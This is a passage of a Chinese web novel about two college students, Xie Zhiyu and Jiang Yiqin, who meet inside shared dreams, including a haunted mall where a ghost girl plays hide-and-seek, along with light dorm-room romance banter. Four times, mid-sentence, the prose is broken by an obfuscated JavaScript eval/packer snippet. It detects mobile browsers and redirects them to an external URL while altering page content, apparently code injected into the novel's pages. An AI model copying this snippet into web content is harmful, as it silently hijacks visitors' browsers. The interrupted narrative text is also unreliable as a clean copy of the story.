江亦钦又在这里充当什么角色呢? 谢知榆用隐晦的目光打量着他,为什么单单是他一个人,在这个荒诞的世界里成为了唯一一个正常人? "我想起来了,"江亦钦突然站起来,“我见过你,不过是在我的梦里。” 他整个人陷入一种诡异的兴奋,嘴里喃喃自语:“难怪,难怪……” 江亦钦双手扶着谢知榆的双肩:“你肯定是从我梦里来的,这样就能解释得通了!” 谢知榆一脸问号地看着兴奋的江亦钦,不是她在做梦吗,怎么又变成她是从他梦中来的了? “你不知道,我都快被这里逼疯了,除了我之外没一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565463|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常人,幸好,幸好,”江亦钦努力平复着自己激动的心情,“我再也不是一个人了!” 谢知榆打断了他:“我不是你梦中的人,你只是之前没遇到过我而已,我在这儿有父母,有同学。” 这句话像是一盆及时的冷水,浇灭了江亦钦的兴奋。 “那为什么我会梦到你呢?”江亦钦对着自己问。 谢知榆也很疑惑,这梦境简直是乱了套了。 窗外骤然亮起,不是清晨太阳初升的微光,而是一种刺眼的白光,瞬间驱散研讨室所有黑暗。 谢知榆也看清了江亦钦眼底的迷茫与无措,尽管他可能只是她梦中的一个人。 周遭的一切都开始扭曲、变形——桌椅的轮廓变得模糊,散落的书本渐渐融化成一团模糊的马赛克,窗外的光线也有了形状,扭曲成奇怪的样子,连身边的江亦钦,身影也开始变得支离破碎,像被风吹散的雾气,一点点变得透明。 谢知榆心头一慌,伸手想去抓江亦钦的胳膊,指尖却只穿过一片冰凉的空气。她清晰地意识到,这里正在崩塌,正在一点点消失。一阵天旋地转袭来,耳边的声音渐渐模糊,眼前的景象也开始褪色,最终彻底陷入一片黑暗。 最后,她听到一声大喊,太过模糊,谢知榆无法分辨到底是哪几个字。 谢知榆猛地睁开眼睛,胸口剧烈起伏着,额头上布满了细密的冷汗,心跳快得像是要冲出胸膛。她大口喘着气,环顾四周——熟悉的床帘,柔软的床铺,还有舍友洗漱的声响,一切都那么正常。 她坐起身来,拍醒还在睡觉的毛球。 毛球见她脸色苍白、惊魂未定的模样,立刻跳起来,担忧地问道:“知榆,你怎么了?脸色这么差?” 谢知榆拉着毛球的手,声音还有些发颤,急切地将刚才的梦境一五一十地说了出来,最后问道:“毛球,这到底是怎么回事?我怎么会做这么诡异的梦?” 毛球皱着眉头,一脸茫然地摇了摇头,思索了片刻后,才小心翼翼地猜测:“我也不清楚……可能是你最近做的梦太多,思绪太乱,精神也太紧张,才会出现这样错乱又诡异的梦境吧。” 看着谢知榆依旧惊魂未定的模样,毛球满心担忧,蹭了蹭她的手背,劝道:“你别想太多了,可能就是一个普通的梦而已。” 谢知榆点了点头,可心底的疑惑却丝毫未减。 正想着,手机突然响了起来,是她昨晚定好的闹钟。 不管晚上的梦多么离奇,谢知榆还是要准时上课,她关掉闹钟,任劳任怨地从床上爬下来。 她走到窗边,推开窗帘,看着窗外正常的景象,脑海里却不断浮现出梦境里的江亦钦,与现实中的江亦钦。 但这两个江亦钦,她也都不熟悉,也不知道到底哪副才是他真正的面孔。 她抬手摸了摸自己的额头,指尖还有一丝冰凉的冷汗。难道是自己最近压力太大,精神真出了问题? 8. 第 8 章 谢知榆站在食堂门口,她先买好了早餐,选了一个空旷点的地方等叶雨兰。 她们宿舍四个除了有早上的课之外,几乎不吃早餐,而林舒和许晓月一般都是提前买好面包,只有谢知榆和叶雨兰来食堂吃早饭。 她们两一个是因为早上想吃热的,一个是觉得面包太干巴了。 早起是不可能早起的,但又要去食堂,所以她们两个都是买好,边走边吃。 叶雨兰今早运气不是很好,刚要排到她了,阿姨就去后厨忙活。 谢知榆一边啃着包子,一边刷着手机,突然,她觉得身后有一道视线在看着她。 她疑惑地转头看去,四处张望了一下,看到了一张熟悉的脸。 江亦钦端着一杯豆浆,正往她这边走来,看到谢知榆发现了他,他视线更加明显了,对着谢知榆灿烂一笑。 笑容很阳光,但没由来的,谢知榆感觉背后一凉。 谢知榆转开视线,假装没有看到他。 叶雨兰总算买好了早餐,谢知榆向她招了招手,示意她走快点。叶雨兰刚走到她旁边,她就揽住叶雨兰的胳膊,此地无银三百两地说:“走,咱们走快点,要迟到了!” 叶雨兰被拉着快步走,抽出手看了一眼手机的时间:“这不比平时还早几分钟吗,这么急干什么。” “去早点好坐后面的位置嘛!”谢知榆瞎话张口就来。 谢知榆还能感受到身后的视线,她稳住心神,脚步却暴露了她的慌张。 幸好学校的路比较曲折,到了一个拐弯,她终于甩掉了那个视线。 叶雨兰三步并作两步跟着谢知榆,她往背后看了一眼:“也没有狗追你啊,走这么快干什么?” “呼,”谢知榆长舒一口气,“没事了。” 叶雨兰奇怪地盯着她,今天谢知榆真的很反常:“你今天不对劲!” 谢知榆只好如实说:“我刚刚看到江亦钦了。哦,就是之前我撞到的那个男生。” “难怪跑这么快。”叶雨兰一脸原来如此的表情。 接下来的路,她们两个悠闲地往教室走。 许晓月已经占好位置了,在倒数第三排,教室里人还没有多少。遥想大一的时候,她们四个上公共课,提前半个小时到都只能坐前排。 “小林子呢?”刚一坐下,谢知榆就问。 许晓月笑着说:“她走到楼下,发现自己没带手机,又爬上去拿了,估计快到了。” 话音刚落,林舒就到教室了,谢知榆招招手,示意她们在这里。 好不容易坚持到下课,她们打算去一食堂随便吃点就回去睡午觉。 林舒命苦地说:“我还要去办公室,马上不是要运动会了吗,导员让我去找他一下。” 说起来,林舒也是很命苦了,大一的时候他们班没有人想担任体委,她就被导员随即指派了。 大学的体委平时没什么事,但只要一到运动会,就忙得不行,还有到处去找人参加项目。 她们三个拍了拍林舒的肩膀,道了一声“辛苦了。” “那需要我们帮你带点什么不?”叶雨兰问道。 “不用了,我这边还不知道什么时候结束呢。” 下午的时候,林舒拖着疲惫的身体回到宿舍,谢知榆和叶雨兰正在一起玩4399小游戏。 “回来了,我的舒。”谢知榆边操作着,边跟林舒打招呼。 林舒把自己扔到椅子上,书包随手甩到桌上:“累死了,下个学期我绝对不当体委了!对了,晓月呢?” “啊!”叶雨兰惊呼一声,她操作的角色被尖刺刺死了,“她啊,又被导师拉去做苦力了。” 她们两个没再开新的一局,叶雨兰问:“导员又给你安排了啥活啊?” 说到这个,林舒就来气:“不是今年是学校的100周年校庆吗,运动会也要大办,新增了好几个团体项目,有篮球还有什么校园竞速赛,每个学院都要参加,还必须一半男生一半女生。大三大四不是没空吗,这几个项目就全落到我们大一大二身上了!” “本来之前每年项目都是我求爷爷告奶奶,才有人报名,今年搞这么多活动,我们学院怎么够人嘛!” 谢知榆疑惑道:“之前的项目不是不强制每个都报吗?” “唉,反正这次是要全都报,实在人不够,可能就要抓壮丁了。” 听到林舒的吐槽,叶雨兰安慰道:“没事,哪些项目缺我们帮你补上。” 谢知榆赞同地点点头,后又补充道:“只要别让我去跑3千米,什么都行。” “有你们真好。”林舒走过来,抱了抱她们两个。 “对了,有个事搞完跟你们说了,”林舒坐到谢知榆腿上,表情变得愉快起来,“大一有个学弟问我认不认识一个人,你们猜是谁?” 叶雨兰推了推她:“你就别卖关子了,快说快说!” “咳咳,”林舒清了清嗓子,等把其他俩人的好奇心吊起来,她又故意说道,“等晓月回来,我再说。” 说完,一脸开心的从谢知榆的腿上站起来,回到自己的座位上。 剩下两个人呆愣在原地,还是叶雨兰先反应过来,威胁道:“林舒,我告诉你,说话说半截,容易遭雷劈。” “好姐姐,你就跟我们说说呗。”谢知榆夹声求道。 林舒一脸高冷,决绝地摇了摇头。 谢知榆看此路行不通,拿出手机,在群里哭诉:“晓月啊,你快回来吧,林舒欺负我们!” 叶雨兰在后面跟了一个嚎啕大哭的表情。 许晓月在群里扣了个问号,“怎么了,我马上就要回来了?” “月啊,你快回来吧!” 谢知榆和叶雨兰把自己的板凳搬到林舒的两边,假装正经地问:“林舒,坦白从宽,抗拒从严,你说不说!” 林舒抿起想要笑的嘴唇,坚定地拒绝。 “好,既然你敬酒不吃吃罚酒,那我们就对你不客气了。”说完,谢知榆和叶雨兰,一人挠林舒的一侧腰。 “哈哈哈哈哈别挠了!” 林舒笑得浑身发软,整个人瘫在椅子上,双手死死护着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565464|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰,笑得眼泪都快出来了。她举手投降,气息不稳地喘了好一会儿,才抬眼看向刚推门进来的许晓月。 “晓月救我!” 许晓月刚跨进宿舍门,一进门就撞见三人打得火热,眉眼带着笑意:“你们这是闹什么呢,隔着楼道都听见动静了。” “晓月你可算回来了!”叶雨兰立刻收手,转头冲她喊,“林舒她说八卦说一半,死活不肯说,非要等你回来!” 谢知榆也停下动作,眼底还带着打闹后的笑意,撑着下巴看向林舒:“快说,现在人齐了,没借口藏着掖着了。” 林舒坐直身体,整理了一下凌乱的衣角,眼底满是促狭的笑意,目光直直落在谢知榆身上,一字一顿地开口:“之前问我认不认识人的那个大一学弟,找的人——是你。” 话音落下,宿舍里瞬间安静一瞬。 谢知榆脸上的笑意一僵,心里莫名咯噔一下,有种不好的预感。她下意识反问:“找我?我大一没认识什么学弟啊,是不是认错人了?” “绝对没认错。”林舒摆了摆手,眼底的八卦之火熊熊燃烧,“我一开始也以为搞错了,特意跟他确认了好几遍,名字对上了,样子也差不多。还说今天早上本来看到你了,本来想过来跟你打招呼的。” 这话一出,叶雨兰当即了然,一拍大腿,笃定地开口:“我知道是谁了!” 许晓月挨着她们坐下,好奇地追问:“到底是谁?我怎么不知道啊?” 不等谢知榆开口,叶雨兰便抢先揭晓答案,眼神戏谑地瞟向略显局促的谢知榆:“还能是谁,就是上次知榆在走廊撞到的男生——江亦钦呗!” “江亦钦?”许晓月蹙眉思考了一会儿,“我好像也听过他,听说长得挺帅的。” 谢知榆整个人尴尬无比,本来想吃瓜的,没想到吃瓜吃到自己身上,脸都红了。 林舒看得津津有味,继续补充道:“我一开始还不知道他找的是你,就随口问了一句怎么突然打听学姐。那个学弟还挺腼腆的,一问他整个人像水煮虾似的。” “不止呢。”林舒笑得更欢了,“他还小心翼翼问我,你是不是讨厌他,今早看到他就跑了。” “可以啊知榆。”叶雨兰凑过来,胳膊肘轻轻撞了撞她的肩膀,语气满是调侃,“人家学弟早就盯上你了,就你傻乎乎的,今早看见人家跑得跟兔子似的。” 谢知榆被三人围着调侃,手足无措地抿了抿唇:“别乱说,可能就是人家学弟心善,知道关心一下摔到的学姐。” 她们三个人也不说话,看着谢知榆若有似无地笑,显然不相信这套说辞。 “说,你是不是还跟这个学弟在哪见过,把所有我们不知道的统统说出来。”叶雨兰玩笑道。 谢知榆现在真是哑巴吃黄连,有口说不出:“我发誓,要是我还跟他见过,我,我,我吃泡面没有调料包!” “好啦,信你了。”叶雨兰说道。 “哦,对了,他还想问一下你的联系方式,”林舒想起来了,“不过,我没给。我想着先回来问问你,要不要给。” 9. 第 9 章 已是深夜,白天嘈杂的声音变为舍友们平稳的呼吸声。 谢知榆躺在床上,翻来覆去睡不着,指尖无意识地摩挲着冰凉的手机边框,她在心里叹息一声,这都是什么事啊! 上床之前,林舒把江亦钦的账号推给了她,让她自己决定要不要加江亦钦。 此刻手机屏幕静静亮着,页面定格在发送好友申请的界面,头像是一只黑色小猫,昵称简单只有一个大写的子母J。谢知榆的指尖悬在屏幕上方,迟迟落不下去。 谢知榆的纠结加拖延症又犯了,之前有一次需要她找老师问个事情,她足足酝酿了一天,在备忘录的措辞删了又删,才一咬牙一跺脚,把消息发了出去。 屏幕右上角的时间跳至凌晨两点,谢知榆心底忽然松了口气,横竖已经这么晚了,江亦钦大概率早就睡了,根本不会立刻看到申请。 伸头是一刀,缩头也是一刀。早晚要纠结,不如索性了结这份心事。 她深吸一口气,指尖快速敲下一句简短的验证消息,反复确认两遍,闭眼屏息,指尖轻轻一点。 好友申请,成功发送。 然后掩耳盗铃般的,谢知榆把手机设置为消息勿扰,将手机放到枕边,不再去看消息。 “好了,明天的事明天再说,现在我要睡觉了。”谢知榆在心中默念,成功把自己哄好了。 她缓缓调整呼吸,摒弃脑海里纷乱的思绪,逼着自己放空心神。或许是悬着许久的心终于落了地,或许是深夜的疲惫彻底席卷而来,没过多长时间,她的意识便渐渐模糊,沉沉坠入了睡梦之中。 毫不意外,谢知榆又开始做梦了。 视野骤然切换,周遭的暖意尽数消散,取而代之的是一片沉闷压抑的阴冷。 谢知榆在心里呼唤了毛球几声,不出所料,毛球没有任何回应。 天色是沉沉的灰,像被厚厚的乌云彻底遮蔽,明明是白昼,却没有半分暖阳,光线昏暗得近乎傍晚。整条街道宽阔平整,干干净净,却死寂得可怕。 四下无人,无声无息。 没有车流,没有行人,甚至连风吹过枝叶的声响都没有,整片天地安静得只剩下她自己的呼吸,让她不由自主呼吸开始急促起来,让人莫名心慌。 这和她以往的梦境截然不同。 从前的梦,场景都源于她白天的所见,可这一次,眼前的街景陌生至极,每一处都是她从未踏足、从未见过的模样。 谢知榆下意识攥紧了手心,心底的不安悄悄滋生。 她缓缓抬眼望去,整条空旷的街道尽头,唯有对面矗立着一栋老旧的商场。 她没有犹豫,抬腿走向商场。 商场的墙面早已褪去了崭新的模样,墙面斑驳老旧,多处墙皮层层脱落,露出底下暗沉的水泥底色,边角的装饰线条泛黄开裂,透着浓厚的岁月陈旧感。两扇厚重的玻璃大门半掩着,缝隙里藏着深不见底的昏暗,像一张微微张开的嘴,带着无声的蛊惑,引诱着过往的行人踏入。 犹豫不过片刻,她还是伸出手,轻轻推开了那扇沉重的玻璃门。 下一瞬,无数嘈杂热闹的声音争先恐后地涌入耳朵,瞬间填满了这片死寂的天地。 强烈的反差让人头皮发麻。 谢知榆僵在门口,脚步瞬间钉在原地,浑身的汗毛都悄悄竖了起来。 她抬眸望向商场内部,明亮的白炽灯铺满每一层楼道,店铺林立,橱窗里的商品琳琅满目。往来的行人步履悠闲,说说笑笑,脸上带着寻常的烟火气色,一切都热闹得无比真实。 谢知榆想退回刚刚的街道,却发现她刚推开的门不见了,这下是退无可退了,她硬着头皮往商场里走。 谢知榆下意识贴着墙边慢行,尽量避开往来的人群,她顺着墙壁缓步往前走,目光逐层扫过二楼、三楼,商铺的招牌大多褪色模糊,有些字迹斑驳得难以辨认。电梯缓缓升降,扶梯不停运转,滚轮转动的咯吱声混杂在人声里,隐隐透着腐朽的滞涩。 周遭的热闹依旧喧嚣,可这份鲜活的烟火气始终没有半分温度,冰冷又空洞。 突然,整个商场的灯火毫无征兆地全数熄灭。 漆黑瞬间吞噬了所有光亮,浓稠的黑暗压顶而来,将整座密闭的商场彻底笼罩。 此起彼伏的人声、脚步声、音乐声、叫卖声,所有喧闹在一秒之内彻底掐断,戛然而止。 极致的死寂,轰然降临。 黑暗之中,谢知榆清晰地听见自己心脏剧烈跳动的声音,砰砰作响,几乎要冲破胸腔。她瞳孔骤缩,浑身的血液仿佛瞬间冻结,四肢僵硬冰凉,连呼吸都下意识停滞。 下一秒,细碎、僵硬、整齐划一的“咔咔”声,从四面八方缓缓响起。 是骨骼转动、关节错位的怪异声响。 黑暗里,无数原本行走、说笑、驻足的行人,动作齐齐卡顿、定格,随即肢体以违背常理的角度缓慢扭转、弯折。他们的脖颈僵硬转动,四肢机械摆动,脸上鲜活的笑意尽数褪去,眼神空洞无神,整张脸变得惨白麻木,再也没有半分活气。 所有人,都好像变成了被无形丝线操控的提线木偶。 无数道空洞麻木的视线,齐刷刷转向黑暗中心的谢知榆。 就在这时,一道轻飘飘、甜美又阴森的小女孩声线,悠悠回荡在空旷漆黑的商场里,远近飘忽,分不清具体方位。 “嘻嘻,终于有人来了。” “我们来玩捉迷藏吧。” 谢知榆浑身一震,后背瞬间渗出一层细密的冷汗,寒意顺着脊椎一路直冲头顶。她猛地抬眼,在浓稠的黑暗中,隐约看见中庭半空悬着一道模糊的人影。 那是一个身形娇小的小女孩,周身裹着一层淡淡的黑雾,稚嫩的面容彻底隐在阴影里,看不真切眉眼,唯有一双漆黑的眸子,空洞无波、没有半点光亮,静静锁定着她的身影。没有恶意,偏偏是孩童般纯粹天真的语气,在这死寂诡异的环境里,更让人头皮紧绷、后背发凉。 “我要开始倒计时咯,快去躲好,不要让我找的太容易了。” 小女孩的声音天真活泼,却带着不容置喙的命令感,谢知榆不敢赌被她发现的后果。 小女孩自顾自转过身,小小的双手捂住眼睛,瓮声瓮气地开始倒数。 “十、九、八……” 倒计时缓缓开启,节奏缓慢,却每一秒都踩在人心最紧绷的地方。 谢知榆不敢有半分迟疑,求生的本能瞬间压制住所有恐惧。她清楚,一旦被找到,后果绝对不堪设想。她猛地回过神,压下喉咙口的发紧与心悸,转身屏住呼吸,在漆黑的商场里压低身形,飞速寻找藏身之处。 四周的木偶人依旧维持着僵硬的姿态,一动不动,却像无数双眼睛,牢牢锁定着她的动向。她不敢靠近,只能贴着幽暗的墙角飞速穿梭,视线在黑暗中艰难辨认周遭景物。 一楼的商铺大多是通透的玻璃橱窗,毫无遮挡,根本藏不住人。扶梯下方空旷无物,死角太少,极易被发现。危急关头,她目光骤然定格在不远处一处紧闭的杂物间——那是楼道旁边的狭小隔间,门板半旧,恰好留着一条细缝,是眼下唯一的藏身之地。 “七、六、五……” 倒计时还在继续,声音越来越近,仿佛就萦绕在耳畔。 谢知榆咬紧下唇,不敢耽搁半分,放轻脚步,借着黑暗的掩护飞快冲了过去。指尖轻轻抵住冰凉的门板,小心翼翼推开一道刚好能容她侧身进入的缝隙,侧身溜进去后,立刻反手将门板轻轻合拢,彻底隔绝外界的视线。 狭小的杂物间逼仄又闷热,堆满了废弃纸箱与陈旧杂物,空气里弥漫着淡淡的灰尘与腐朽气息。空间极小,她只能蜷缩着身子,紧紧贴在冰冷的门板后,屏住所有呼吸,不敢发出半点声响。 狭小的隔间里寂静无声,唯有她剧烈又急促的心跳,在密闭的空间里反复回响,震得耳膜嗡嗡作响。她死死攥紧拳头,指尖泛白,连身体都控制不住地微微轻颤。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565465|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一。” 最后一个数字落下,话音轻柔,却带着宣判般的压迫感。 下一秒,外面彻底安静了下来。 没有脚步声,没有响动,没有任何动静。 可谢知榆的心脏却跳得愈发剧烈,恐惧层层裹挟而来。这种极致的寂静远比追逐声更可怕,你永远不知道,下一秒对方会从哪个方向出现。 不知过了多久,一道缓慢、轻盈、毫无落地声的脚步声,从空旷的商场中央悠悠响起。 一步,又一步。 步伐不急不缓,带着十足的耐心,慢悠悠地穿梭在死寂的楼层里,像是在逐一搜查每一个角落。 脚步声越来越近,清晰地朝着杂物间的方向靠近。 最终,稳稳停在了门外。 门外死寂一片,没有动静,没有声响,却有一股冰凉刺骨的寒意,顺着门板的缝隙缓缓渗透进来,将她彻底包裹。 “姐姐,我知道你躲在哪里了哦,快出来吧!” 小女孩软糯甜美的声音贴着门板渗进来,天真又蛊惑,带着孩童纯粹的执拗,“快出来呀,我们该玩下一个游戏了。” 话音落下的瞬间,门板被轻轻拨动,冰冷的把手缓缓转动,缝隙越来越大,门外浓稠的黑暗顺势涌入,一点点吞噬着她仅剩的安全感。 谢知榆浑身僵死,瞳孔骤然收缩,呼吸彻底停滞,下意识往后缩去,后背紧紧抵住冰冷的墙面,心底的恐惧瞬间抵达顶峰。 就在门板即将被彻底推开的刹那,一道清冷低沉的少年声线,骤然横空插入,击碎了恐惧。 “哪来的小孩,自己回家去。” “姐姐没空跟你玩游戏。” 江亦钦的声音淡漠平静,带着天生的清冷疏离,却有着穿透梦魇的力量,瞬间压下了周遭所有的阴森。 门外的动静骤然骤停。 谢知榆清晰地听见小女孩愣住的声响,下一秒,方才天真乖巧的语气瞬间变脸,带着孩童被打断的骄纵与蛮横,当场撒起泼来。稚嫩的哭声、闹脾气的叫嚷声混杂在一起,小小的身子在门外原地打滚跺脚,吵闹声刺耳又尖锐,打破了死寂的氛围。 “不要!我就要和姐姐玩!你走开!” 面对小女孩的撒泼纠缠,江亦钦全然没有纵容的耐心,语气依旧冷淡,带着几分无奈的不耐。他缓缓抬手拿出口袋里的手机,屏幕在黑暗中亮起一抹干净的白光,他微微抬腕,作势就要按下拨号键。 “再闹,我就让警察叔叔来抓你这个不听话的小屁孩。” 这一句简单的威胁,远比呵斥管用百倍。 门外撒泼打滚的动静瞬间戛然而止。 小女孩像是瞬间被掐住了所有气焰,嚣张蛮横的姿态尽数褪去,只剩下孩童的怯懦与慌张,细细的啜泣声随即响起,软糯的哭声带着真切的害怕,断断续续回荡在空气里。 “不要……我不要被警察叔叔抓走……” 她怯生生地嘟囔着,彻底收敛了所有诡异的戾气,乖乖认错,“我不闹了,再也不吓姐姐了,你别打电话好不好?” 谢知榆躲在门后,震惊地瞪大了双眼:这也行? 江亦钦垂眸看着面前缩成一团、哭哭啼啼的小小身影,神色淡漠,没有多余安抚,也没有继续苛责,只是示意她离开。 小女孩不敢再多停留半分,抽抽搭搭地从原地爬起,小小的身影融进黑暗,很快便彻底消失无踪,连带商场里那股压抑阴森的寒气,也随之散去大半。 周遭彻底恢复安静,诡异的压迫感缓缓消散,商场也恢复了刚才热闹的氛围。 下一秒,面前紧闭的杂物间门板,被人从外面轻轻拉开。 一道清峭挺拔的身影立在门口,逆着身后朦胧的微光,眉眼清俊,气质冷冽,正是江亦钦。 他微微俯身,漆黑的眼眸直直看向躲在门后角落、惊魂未定的谢知榆,唇角微勾,趁着她尚且失神恍惚的瞬间,压低声音,轻轻出声逗她。 “抓到你了。” 10. 第 10 章 “又见面了。” 江亦钦直起身,倚在门框边,目光落在谢知榆身上,嗓音清浅。 刚刚他在外面跟小女孩的对话,谢知榆一个字不落地听见了,能劝退一个小鬼,只能证明他比小鬼还恐怖好吧! 谢知榆心头一紧,下意识往后缩了缩身子,戒备地盯着眼前人,试探着开口:“你……你到底是人是鬼?” 闻言,江亦钦眼底掠过一丝促狭,故意沉下脸色,周身顺势染上几分阴翳,一步步朝她逼近。 这突如其来的变化吓得谢知榆全身警报拉响,几乎是本能地转身就要拔腿逃跑。可她刚迈出半步,后领就被一只温热的手稳稳攥住,像是被掐住了命运的咽喉,进退不得。 “想跑?”少年的笑意透过语气漫出来。 谢知榆又急又怕,抬脚就朝着他的鞋面狠狠踩去。江亦钦反应极快,轻轻侧身便灵巧避开。一击落空,她不甘心,右腿顺势横扫,动作带着几分情急之下的莽撞,直直朝着对方下盘踢去。 江亦钦眸色微变,连忙伸手扣住她的脚踝,将她的脚控制住。 谢知榆见势不妙,立马求饶:“我错了,您大人有大量,别跟我计较呗!”大女子能屈能伸。 江亦钦应该很少见到这么赖皮的人,应该说他应该连人都很少见到。 “能不能先松一下手啊,我腿要抽筋了。”谢知榆看江亦钦半天没反应,只能出言提醒道。 江亦钦松开手,谢知榆的腿终于回归自己的控制,她转了转脚踝,活动了一下关节,才没有刚才那种拧着的不适感。 “现在不跑了?” 谢知榆假装没听出他话中的调侃,人在屋檐下不得不低头,现在放他一马。 看着谢知榆一副不想理他的样子,江亦钦也歇了逗她的心思:“好了,不逗你了,你看我这样子,难道像鬼吗?” 谢知榆叛逆地点了点头,小声嘟囔:“我怎么知道鬼长什么样子。” 江亦钦把手递了过去,用眼神示意谢知榆碰一下。 “我不会看手相,你递给我也没用。”谢知榆没看懂他的意思。 “我是要你感受一下我的手是热的,谁要你看手相了。” 谢知榆尴尬地笑了几声,用手指戳了戳江亦钦手心,很好,还活着。 她心底的疑惑没有完全打消,只是不再那么紧绷。 江亦钦收回手,往商场内看了看:“走吧,去找个地方坐下说。” 江亦钦抬步往外走,谢知榆犹豫了一瞬,还是快步跟上。商场里的人又开始活动起来,只是经历过刚才的事情,谢知榆怎么看怎么觉得他们僵硬得像个木偶人。灯光惨白地打在他们脸上,平添几分阴森。 谢知榆控制着自己,不跟他们对视,这里越是热闹,她越感觉可怕。 江亦钦带着她拐进一家开着的奶茶店,柜台后的店员也是一副空洞麻木的模样,却依旧机械地开始点单。 “欢迎光临,请问两位要喝点什么?” “茉莉奶绿,少冰,三分糖,谢谢,”谢知榆很快决定好自己要喝点什么,虽然是在梦里,但更不能亏待自己,她转过身问,“你要喝什么不?” “跟你一样就行。” 谢知榆捧着纸杯,体温因为刚刚的跑动上升,猛喝了一口冰冰的奶茶,才终于让身体的燥热降了下来。 “舒服了,”谢知榆舒了口气,“说说吧,这里到底怎么回事?你到底是谁?” 她抬头看向江亦钦,他正低头看着杯壁上凝结的水珠,侧脸在暖黄灯光下显得柔和了些,和方才吓唬她时的阴冷判若两人。 江亦钦抬眼,眼底藏着一点笑意:“我是江亦钦啊。” “我是说,”谢知榆咬了咬吸管,语气认真起来,“这里的人都跟木偶一样,只有你像个活人。你为什么会在这里?我又为什么会在这里……” “我也不知道,也许这里是谁的梦吧。”江亦钦的语气里带着迷茫,显然他是真的不清楚。 “不知道?”谢知榆挑眉,显然不信,“那你怎么那么熟练?还能把那个小鬼吓哭?我看你比她还熟这里。” 江亦钦沉默了几秒,指尖轻轻摩挲着杯沿,声音放得很低:“也许吧。” 谢知榆听出江亦钦语气中的躲避,明显是不想回答她的问题。 他们两个不知道该说些什么了,沉默地对坐着。 谢知榆透过奶茶店的玻璃看向外面,一切都是那么的真实,让人分不清是真是假。她漫不经心地搅动着奶茶,平时爱喝的奶茶现在也变得寡淡无味。 直到江亦钦忽然开口,打破了这片凝滞。 江亦钦看谢知榆无精打采的样子,对她说:“你还记得我上次说梦见过你吗,其实那不是我的梦。” 谢知榆动作一顿,抬眸看向他,眼里瞬间拢起几分疑惑:“不是你的梦?那是什么意思?” “我很少会拥有属于自己的梦,”江亦钦望着店外晃动的人影,语气平淡,听不出太多情绪,仿佛在诉说一件再寻常不过的小事,“我都是进入了别人的梦,所以与其说是我在梦中见到你,不如说是有人梦到你了。” 这番话太过离奇,谢知榆下意识攥紧了杯子,指尖微微发紧。她想起方才那个嬉笑作恶的小女孩,想起满商场失去神智的路人,再联想到眼前从容自若的少年,心底的疑团越滚越大。 “穿梭在别人的梦里?”她低声重复,“所以……你不是偶然来到这里的?” “算是,也不算。”江亦钦收回目光,落回她脸上,漆黑的眼眸在暖光里显得深邃难辨,“我本就该一直在各式各样的梦里游荡,见惯了恐惧、挣扎,还有被困住的人,一般来说,我是不会连续进入同一个人的梦境的。可不知道为什么,居然连续两次碰到你了。” “而且,按理说,梦境中除了我不会再有一个意识清醒的人了。” “为什么是我?”她追问,语气里带着掩饰不住的惊讶。 江亦钦垂下眼,长睫掩去眸中翻涌的情绪,只是含糊道:“我也不知道为什么,可能是有缘吧。” 他半开玩笑说道,刻意绕开了核心答案,半真半假的话语,依旧留着重重迷雾。 谢知榆哪里会轻易罢休,顺着话头继续试探:“那之前你说梦到我,其实可能是你闯入了我的梦?这么说来,我们早就不止一次碰面了?” “嗯。”江亦钦轻轻颔首。 “那刚才那个小女孩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574686|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有这些像木偶一样的人,也都是梦境里的东西?” “算是这片梦境衍生出来的存在,”江亦钦简单解释,“它们依靠梦境而生,也被困在这里。方才那个小家伙只是贪玩,喜欢拉着闯入者玩游戏,算不上真正的恶意。” 想起刚才被堵在杂物间的惊险一幕,谢知榆还是心有余悸,小声吐槽:“这游戏也太吓人了。” 江亦钦闻言低低笑了一声,清朗的笑声驱散了周遭几分阴森的气息:“习惯就好了。只是你不一样,你是外来者,在这里停留太久,会被梦境的力量缠上,到时候就很难离开了。” 这话让谢知榆瞬间绷紧了神经:“离开?那要怎么回去?” 